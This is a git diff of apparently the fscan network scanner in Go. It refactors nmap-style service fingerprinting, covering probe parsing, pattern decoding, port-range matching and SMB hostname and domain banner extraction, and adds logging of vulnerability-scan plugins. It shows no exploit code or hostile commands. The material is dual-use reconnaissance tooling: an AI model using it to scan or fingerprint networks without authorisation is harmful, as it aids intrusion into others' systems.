sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
|
|
||||||
if len(match) < 2 {
|
|
||||||
return match
|
|
||||||
}
|
|
||||||
if isOtherEscapeCode(match) {
|
|
||||||
return []byte{match[1]}
|
|
||||||
}
|
|
||||||
return match
|
|
||||||
})
|
|
||||||
|
|
||||||
if len(sByteDec2) == 0 {
|
|
||||||
common.LogDebug("解码后数据为空")
|
|
||||||
return nil, fmt.Errorf("decoded data is empty")
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
|
|
||||||
return sByteDec2, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetAddress 获取目标的完整地址(IP:端口)
|
|
||||||
func (t *Target) GetAddress() string {
|
|
||||||
addr := t.IP + ":" + strconv.Itoa(t.Port)
|
|
||||||
common.LogDebug("获取目标地址: " + addr)
|
|
||||||
return addr
|
|
||||||
}
|
|
||||||
|
|
||||||
// trimBanner 处理和清理横幅数据
|
|
||||||
func trimBanner(buf []byte) string {
|
|
||||||
common.LogDebug("开始处理横幅数据")
|
|
||||||
bufStr := string(buf)
|
|
||||||
|
|
||||||
// 特殊处理SMB协议
|
|
||||||
if strings.Contains(bufStr, "SMB") {
|
|
||||||
banner := hex.EncodeToString(buf)
|
|
||||||
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
|
|
||||||
common.LogDebug("检测到SMB协议数据")
|
|
||||||
plain := banner[0xa2:]
|
|
||||||
data, err := hex.DecodeString(plain)
|
|
||||||
if err != nil {
|
|
||||||
common.LogDebug("SMB数据解码失败: " + err.Error())
|
|
||||||
return bufStr
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析domain
|
|
||||||
var domain string
|
|
||||||
var index int
|
|
||||||
for i, s := range data {
|
|
||||||
if s != 0 {
|
|
||||||
domain += string(s)
|
|
||||||
} else if i+1 < len(data) && data[i+1] == 0 {
|
|
||||||
index = i + 2
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析hostname
|
|
||||||
var hostname string
|
|
||||||
remainData := data[index:]
|
|
||||||
for i, h := range remainData {
|
|
||||||
if h != 0 {
|
|
||||||
hostname += string(h)
|
|
||||||
}
|
|
||||||
if i+1 < len(remainData) && remainData[i+1] == 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
|
|
||||||
common.LogDebug("SMB横幅: " + smbBanner)
|
|
||||||
return smbBanner
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理常规数据
|
|
||||||
var src string
|
|
||||||
for _, ch := range bufStr {
|
|
||||||
if ch > 32 && ch < 125 {
|
|
||||||
src += string(ch)
|
|
||||||
} else {
|
|
||||||
src += " "
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 清理多余空白
|
|
||||||
re := regexp.MustCompile(`\s{2,}`)
|
|
||||||
src = re.ReplaceAllString(src, ".")
|
|
||||||
result := strings.TrimSpace(src)
|
|
||||||
common.LogDebug("处理后的横幅: " + result)
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
// Init 初始化VScan对象
|
|
||||||
func (v *VScan) Init() {
|
|
||||||
common.LogDebug("开始初始化VScan")
|
|
||||||
v.parseProbesFromContent(ProbeString)
|
|
||||||
v.parseProbesToMapKName()
|
|
||||||
v.SetusedProbes()
|
|
||||||
common.LogDebug("VScan初始化完成")
|
|
||||||
}
|
|
||||||
|
@ -3,6 +3,7 @@ package core
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/core/portfinger"
|
||||||
"io"
|
"io"
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
@ -50,11 +51,7 @@ type PortInfoScanner struct {
|
|||||||
info *Info // 探测上下文
|
info *Info // 探测上下文
|
||||||
}
|
}
|
||||||
|
|
||||||
// 预定义的基础探测器
|
// 预定义的基础探测器已在PortFinger.go中定义,这里不再重复定义
|
||||||
var (
|
|
||||||
null = new(Probe) // 空探测器,用于基本协议识别
|
|
||||||
commonProbe = new(Probe) // 通用探测器,用于常见服务识别
|
|
||||||
)
|
|
||||||
|
|
||||||
// NewPortInfoScanner 创建新的端口服务识别器实例
|
// NewPortInfoScanner 创建新的端口服务识别器实例
|
||||||
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
||||||
@ -347,7 +344,7 @@ func (i *Info) handleHardMatch(response []byte, match *Match) {
|
|||||||
|
|
||||||
result.Service.Name = match.Service
|
result.Service.Name = match.Service
|
||||||
result.Extras = extrasMap
|
result.Extras = extrasMap
|
||||||
result.Banner = trimBanner(response)
|
result.Banner = portfinger.TrimBanner(string(response))
|
||||||
result.Service.Extras = extrasMap
|
result.Service.Extras = extrasMap
|
||||||
|
|
||||||
// 特殊处理 microsoft-ds 服务
|
// 特殊处理 microsoft-ds 服务
|
||||||
@ -363,7 +360,7 @@ func (i *Info) handleHardMatch(response []byte, match *Match) {
|
|||||||
// handleNoMatch 处理未找到匹配的情况
|
// handleNoMatch 处理未找到匹配的情况
|
||||||
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
||||||
common.LogDebug("处理未匹配情况")
|
common.LogDebug("处理未匹配情况")
|
||||||
result.Banner = trimBanner(response)
|
result.Banner = portfinger.TrimBanner(string(response))
|
||||||
|
|
||||||
if !softFound {
|
if !softFound {
|
||||||
// 尝试识别 HTTP 服务
|
// 尝试识别 HTTP 服务
|
||||||
|
@ -24,8 +24,10 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
exclude := make(map[int]struct{})
|
// 预估排除端口数量,通常不会超过100个
|
||||||
for _, p := range parsers.ParsePort(common.ExcludePorts) {
|
excludePorts := parsers.ParsePort(common.ExcludePorts)
|
||||||
|
exclude := make(map[int]struct{}, len(excludePorts))
|
||||||
|
for _, p := range excludePorts {
|
||||||
exclude[p] = struct{}{}
|
exclude[p] = struct{}{}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -9,7 +9,6 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"time"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// ScanTask 表示单个扫描任务
|
// ScanTask 表示单个扫描任务
|
||||||
@ -99,10 +98,6 @@ func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan
|
|||||||
// 准备扫描任务
|
// 准备扫描任务
|
||||||
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
|
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
|
||||||
|
|
||||||
// 输出扫描计划
|
|
||||||
if common.ShowScanPlan && len(tasks) > 0 {
|
|
||||||
logScanPlan(tasks)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始化进度条
|
// 初始化进度条
|
||||||
if len(tasks) > 0 && common.ShowProgress {
|
if len(tasks) > 0 && common.ShowProgress {
|
||||||
@ -170,8 +165,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct
|
|||||||
*ch <- struct{}{} // 获取并发槽位
|
*ch <- struct{}{} // 获取并发槽位
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
startTime := time.Now()
|
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
// 捕获并记录任何可能的panic
|
// 捕获并记录任何可能的panic
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
@ -180,11 +173,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 完成任务,释放资源
|
// 完成任务,释放资源
|
||||||
duration := time.Since(startTime)
|
|
||||||
if common.ShowScanPlan {
|
|
||||||
common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
|
|
||||||
pluginName, target.Host, target.Ports, duration.Seconds()))
|
|
||||||
}
|
|
||||||
|
|
||||||
wg.Done()
|
wg.Done()
|
||||||
<-*ch // 释放并发槽位
|
<-*ch // 释放并发槽位
|
||||||
|
@ -5,6 +5,7 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/common/i18n"
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
"github.com/shadow1ng/fscan/common/parsers"
|
"github.com/shadow1ng/fscan/common/parsers"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
)
|
)
|
||||||
@ -65,7 +66,7 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostIn
|
|||||||
if len(hosts) > 0 || len(common.HostPort) > 0 {
|
if len(hosts) > 0 || len(common.HostPort) > 0 {
|
||||||
// 主机存活检测
|
// 主机存活检测
|
||||||
if s.shouldPerformLivenessCheck(hosts) {
|
if s.shouldPerformLivenessCheck(hosts) {
|
||||||
hosts = CheckLive(hosts, common.UsePing)
|
hosts = CheckLive(hosts, false)
|
||||||
common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -78,7 +79,9 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostIn
|
|||||||
|
|
||||||
// 执行漏洞扫描
|
// 执行漏洞扫描
|
||||||
if len(targetInfos) > 0 {
|
if len(targetInfos) > 0 {
|
||||||
common.LogBase("开始漏洞扫描")
|
common.LogBase(i18n.GetText("scan_vulnerability_start"))
|
||||||
|
// 显示即将使用的漏洞扫描插件
|
||||||
|
s.LogVulnerabilityPluginInfo(targetInfos)
|
||||||
ExecuteScanTasks(targetInfos, s, ch, wg)
|
ExecuteScanTasks(targetInfos, s, ch, wg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -124,7 +127,7 @@ func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo) []common.Host
|
|||||||
if len(hosts) > 0 || len(common.HostPort) > 0 {
|
if len(hosts) > 0 || len(common.HostPort) > 0 {
|
||||||
// 主机存活检测
|
// 主机存活检测
|
||||||
if s.shouldPerformLivenessCheck(hosts) {
|
if s.shouldPerformLivenessCheck(hosts) {
|
||||||
hosts = CheckLive(hosts, common.UsePing)
|
hosts = CheckLive(hosts, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 端口扫描
|
// 端口扫描
|
||||||
@ -198,6 +201,44 @@ func (s *ServiceScanStrategy) LogPluginInfo() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// LogVulnerabilityPluginInfo 输出漏洞扫描插件信息
|
||||||
|
func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostInfo) {
|
||||||
|
allPlugins, isCustomMode := s.GetPlugins()
|
||||||
|
|
||||||
|
// 获取实际会被使用的插件列表
|
||||||
|
var vulnerabilityPlugins []string
|
||||||
|
pluginUsed := make(map[string]bool)
|
||||||
|
|
||||||
|
for _, target := range targets {
|
||||||
|
targetPort := 0
|
||||||
|
if target.Ports != "" {
|
||||||
|
targetPort, _ = strconv.Atoi(target.Ports)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, pluginName := range allPlugins {
|
||||||
|
plugin, exists := common.PluginManager[pluginName]
|
||||||
|
if !exists {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查插件是否适用于当前目标(使用与ExecuteScanTasks相同的逻辑)
|
||||||
|
if s.IsPluginApplicable(plugin, targetPort, isCustomMode) {
|
||||||
|
if !pluginUsed[pluginName] {
|
||||||
|
vulnerabilityPlugins = append(vulnerabilityPlugins, pluginName)
|
||||||
|
pluginUsed[pluginName] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 输出插件信息
|
||||||
|
if len(vulnerabilityPlugins) > 0 {
|
||||||
|
common.LogBase(fmt.Sprintf(i18n.GetText("scan_vulnerability_plugins"), strings.Join(vulnerabilityPlugins, ", ")))
|
||||||
|
} else {
|
||||||
|
common.LogBase(i18n.GetText("scan_no_vulnerability_plugins"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// IsPluginApplicable 判断插件是否适用于服务扫描
|
// IsPluginApplicable 判断插件是否适用于服务扫描
|
||||||
func (s *ServiceScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
func (s *ServiceScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||||
// 自定义模式下运行所有明确指定的插件
|
// 自定义模式下运行所有明确指定的插件
|
||||||
|
105
Core/portfinger/encoding_utils.go
Normal file
105
Core/portfinger/encoding_utils.go
Normal file
@ -0,0 +1,105 @@
|
|||||||
|
package portfinger
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/hex"
|
||||||
|
"strconv"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
// DecodePattern 解码匹配模式
|
||||||
|
func DecodePattern(s string) ([]byte, error) {
|
||||||
|
b := []byte(s)
|
||||||
|
var result []byte
|
||||||
|
|
||||||
|
for i := 0; i < len(b); {
|
||||||
|
if b[i] == '\\' && i+1 < len(b) {
|
||||||
|
// 处理转义序列
|
||||||
|
switch b[i+1] {
|
||||||
|
case 'x':
|
||||||
|
// 十六进制编码 \xNN
|
||||||
|
if i+3 < len(b) {
|
||||||
|
if hexStr := string(b[i+2:i+4]); isValidHex(hexStr) {
|
||||||
|
if decoded, err := hex.DecodeString(hexStr); err == nil {
|
||||||
|
result = append(result, decoded...)
|
||||||
|
i += 4
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case 'a':
|
||||||
|
result = append(result, '\a')
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
case 'f':
|
||||||
|
result = append(result, '\f')
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
case 't':
|
||||||
|
result = append(result, '\t')
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
case 'n':
|
||||||
|
result = append(result, '\n')
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
case 'r':
|
||||||
|
result = append(result, '\r')
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
case 'v':
|
||||||
|
result = append(result, '\v')
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
case '\\':
|
||||||
|
result = append(result, '\\')
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
default:
|
||||||
|
// 八进制编码 \NNN
|
||||||
|
if i+1 < len(b) && b[i+1] >= '0' && b[i+1] <= '7' {
|
||||||
|
octalStr := ""
|
||||||
|
j := i + 1
|
||||||
|
for j < len(b) && j < i+4 && b[j] >= '0' && b[j] <= '7' {
|
||||||
|
octalStr += string(b[j])
|
||||||
|
j++
|
||||||
|
}
|
||||||
|
if octal, err := strconv.ParseInt(octalStr, 8, 8); err == nil {
|
||||||
|
result = append(result, byte(octal))
|
||||||
|
i = j
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 普通字符
|
||||||
|
result = append(result, b[i])
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DecodeData 解码探测数据
|
||||||
|
func DecodeData(s string) ([]byte, error) {
|
||||||
|
// 移除首尾的分隔符
|
||||||
|
if len(s) > 0 && (s[0] == '"' || s[0] == '\'') {
|
||||||
|
s = s[1:]
|
||||||
|
}
|
||||||
|
if len(s) > 0 && (s[len(s)-1] == '"' || s[len(s)-1] == '\'') {
|
||||||
|
s = s[:len(s)-1]
|
||||||
|
}
|
||||||
|
|
||||||
|
return DecodePattern(s)
|
||||||
|
}
|
||||||
|
|
||||||
|
// isValidHex 检查字符串是否为有效的十六进制
|
||||||
|
func isValidHex(s string) bool {
|
||||||
|
for _, c := range s {
|
||||||
|
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return len(s) == 2
|
||||||
|
}
|
||||||
|
|
173
Core/portfinger/match_engine.go
Normal file
173
Core/portfinger/match_engine.go
Normal file
@ -0,0 +1,173 @@
|
|||||||
|
package portfinger
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 解析match指令获取匹配规则
|
||||||
|
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||||
|
common.LogDebug("开始解析match指令:" + data)
|
||||||
|
match = Match{}
|
||||||
|
|
||||||
|
// 提取match文本并解析指令语法
|
||||||
|
matchText := data[len("match")+1:]
|
||||||
|
directive := p.getDirectiveSyntax(matchText)
|
||||||
|
|
||||||
|
// 分割文本获取pattern和版本信息
|
||||||
|
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||||
|
if len(textSplited) == 0 {
|
||||||
|
return match, fmt.Errorf("无效的match指令格式")
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern := textSplited[0]
|
||||||
|
versionInfo := strings.Join(textSplited[1:], "")
|
||||||
|
|
||||||
|
// 解码并编译正则表达式
|
||||||
|
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||||
|
if decodeErr != nil {
|
||||||
|
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||||
|
return match, decodeErr
|
||||||
|
}
|
||||||
|
|
||||||
|
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||||
|
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||||
|
if compileErr != nil {
|
||||||
|
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||||
|
return match, compileErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置match对象属性
|
||||||
|
match.Service = directive.DirectiveName
|
||||||
|
match.Pattern = pattern
|
||||||
|
match.PatternCompiled = patternCompiled
|
||||||
|
match.VersionInfo = versionInfo
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||||
|
match.Service, match.Pattern))
|
||||||
|
return match, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析softmatch指令获取软匹配规则
|
||||||
|
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||||
|
common.LogDebug("开始解析softmatch指令:" + data)
|
||||||
|
softMatch = Match{IsSoft: true}
|
||||||
|
|
||||||
|
// 提取softmatch文本并解析指令语法
|
||||||
|
matchText := data[len("softmatch")+1:]
|
||||||
|
directive := p.getDirectiveSyntax(matchText)
|
||||||
|
|
||||||
|
// 分割文本获取pattern和版本信息
|
||||||
|
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||||
|
if len(textSplited) == 0 {
|
||||||
|
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||||
|
}
|
||||||
|
|
||||||
|
pattern := textSplited[0]
|
||||||
|
versionInfo := strings.Join(textSplited[1:], "")
|
||||||
|
|
||||||
|
// 解码并编译正则表达式
|
||||||
|
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||||
|
if decodeErr != nil {
|
||||||
|
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||||
|
return softMatch, decodeErr
|
||||||
|
}
|
||||||
|
|
||||||
|
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||||
|
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||||
|
if compileErr != nil {
|
||||||
|
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||||
|
return softMatch, compileErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置softMatch对象属性
|
||||||
|
softMatch.Service = directive.DirectiveName
|
||||||
|
softMatch.Pattern = pattern
|
||||||
|
softMatch.PatternCompiled = patternCompiled
|
||||||
|
softMatch.VersionInfo = versionInfo
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||||
|
softMatch.Service, softMatch.Pattern))
|
||||||
|
return softMatch, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// containsPort 检查指定端口是否在探测器的端口范围内(私有方法)
|
||||||
|
func (p *Probe) containsPort(testPort int) bool {
|
||||||
|
common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||||
|
|
||||||
|
// 检查单个端口
|
||||||
|
ports := strings.Split(p.Ports, ",")
|
||||||
|
for _, port := range ports {
|
||||||
|
port = strings.TrimSpace(port)
|
||||||
|
cmpPort, err := strconv.Atoi(port)
|
||||||
|
if err == nil && testPort == cmpPort {
|
||||||
|
common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查端口范围
|
||||||
|
for _, port := range ports {
|
||||||
|
port = strings.TrimSpace(port)
|
||||||
|
if strings.Contains(port, "-") {
|
||||||
|
portRange := strings.Split(port, "-")
|
||||||
|
if len(portRange) != 2 {
|
||||||
|
common.LogDebug("无效的端口范围格式: " + port)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||||
|
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||||
|
|
||||||
|
if err1 != nil || err2 != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if testPort >= start && testPort <= end {
|
||||||
|
common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// MatchPattern 检查响应是否与匹配规则匹配
|
||||||
|
func (m *Match) MatchPattern(response []byte) bool {
|
||||||
|
if m.PatternCompiled == nil {
|
||||||
|
common.LogDebug("警告: 匹配规则的正则表达式未编译")
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
matched := m.PatternCompiled.Match(response)
|
||||||
|
if matched {
|
||||||
|
// 提取匹配到的子组
|
||||||
|
submatches := m.PatternCompiled.FindStringSubmatch(string(response))
|
||||||
|
if len(submatches) > 1 {
|
||||||
|
m.FoundItems = submatches[1:] // 排除完整匹配,只保留分组
|
||||||
|
common.LogDebug(fmt.Sprintf("模式匹配成功,提取到 %d 个分组", len(m.FoundItems)))
|
||||||
|
} else {
|
||||||
|
common.LogDebug("模式匹配成功,但没有分组匹配")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return matched
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsPortMatch 检查探测器是否适用于指定端口
|
||||||
|
func (p *Probe) IsPortMatch(port int) bool {
|
||||||
|
// 如果没有指定端口范围,认为适用于所有端口
|
||||||
|
if p.Ports == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.containsPort(port)
|
||||||
|
}
|
||||||
|
|
16624
Core/portfinger/nmap-service-probes.txt
Normal file
16624
Core/portfinger/nmap-service-probes.txt
Normal file
File diff suppressed because it is too large
Load Diff
292
Core/portfinger/probe_parser.go
Normal file
292
Core/portfinger/probe_parser.go
Normal file
@ -0,0 +1,292 @@
|
|||||||
|
package portfinger
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 解析指令语法,返回指令结构
|
||||||
|
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||||
|
common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||||
|
|
||||||
|
directive = Directive{}
|
||||||
|
// 查找第一个空格的位置
|
||||||
|
blankIndex := strings.Index(data, " ")
|
||||||
|
if blankIndex == -1 {
|
||||||
|
common.LogDebug("未找到空格分隔符")
|
||||||
|
return directive
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析各个字段
|
||||||
|
directiveName := data[:blankIndex]
|
||||||
|
Flag := data[blankIndex+1 : blankIndex+2]
|
||||||
|
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||||
|
directiveStr := data[blankIndex+3:]
|
||||||
|
|
||||||
|
directive.DirectiveName = directiveName
|
||||||
|
directive.Flag = Flag
|
||||||
|
directive.Delimiter = delimiter
|
||||||
|
directive.DirectiveStr = directiveStr
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||||
|
directiveName, Flag, delimiter, directiveStr))
|
||||||
|
|
||||||
|
return directive
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析探测器信息
|
||||||
|
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||||
|
common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||||
|
|
||||||
|
// 提取协议和其他信息
|
||||||
|
proto := probeStr[:4]
|
||||||
|
other := probeStr[4:]
|
||||||
|
|
||||||
|
// 验证协议类型
|
||||||
|
if !(proto == "TCP " || proto == "UDP ") {
|
||||||
|
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||||
|
common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证其他信息不为空
|
||||||
|
if len(other) == 0 {
|
||||||
|
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||||
|
common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析指令
|
||||||
|
directive := p.getDirectiveSyntax(other)
|
||||||
|
|
||||||
|
// 设置探测器属性
|
||||||
|
p.Name = directive.DirectiveName
|
||||||
|
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||||
|
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||||
|
p.Name, p.Data, p.Protocol))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从字符串解析探测器信息
|
||||||
|
func (p *Probe) fromString(data string) error {
|
||||||
|
common.LogDebug("开始解析探测器字符串数据")
|
||||||
|
var err error
|
||||||
|
|
||||||
|
// 预处理数据
|
||||||
|
data = strings.TrimSpace(data)
|
||||||
|
lines := strings.Split(data, "\n")
|
||||||
|
if len(lines) == 0 {
|
||||||
|
return fmt.Errorf("输入数据为空")
|
||||||
|
}
|
||||||
|
|
||||||
|
probeStr := lines[0]
|
||||||
|
p.parseProbeInfo(probeStr)
|
||||||
|
|
||||||
|
// 解析匹配规则和其他配置
|
||||||
|
var matchs []Match
|
||||||
|
for _, line := range lines {
|
||||||
|
common.LogDebug("处理行: " + line)
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(line, "match "):
|
||||||
|
match, err := p.getMatch(line)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug("解析match失败: " + err.Error())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
matchs = append(matchs, match)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "softmatch "):
|
||||||
|
softMatch, err := p.getSoftMatch(line)
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug("解析softmatch失败: " + err.Error())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
matchs = append(matchs, softMatch)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "ports "):
|
||||||
|
p.parsePorts(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "sslports "):
|
||||||
|
p.parseSSLPorts(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "totalwaitms "):
|
||||||
|
p.parseTotalWaitMS(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||||
|
p.parseTCPWrappedMS(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "rarity "):
|
||||||
|
p.parseRarity(line)
|
||||||
|
|
||||||
|
case strings.HasPrefix(line, "fallback "):
|
||||||
|
p.parseFallback(line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
p.Matchs = &matchs
|
||||||
|
common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||||
|
return err
|
||||||
|
}
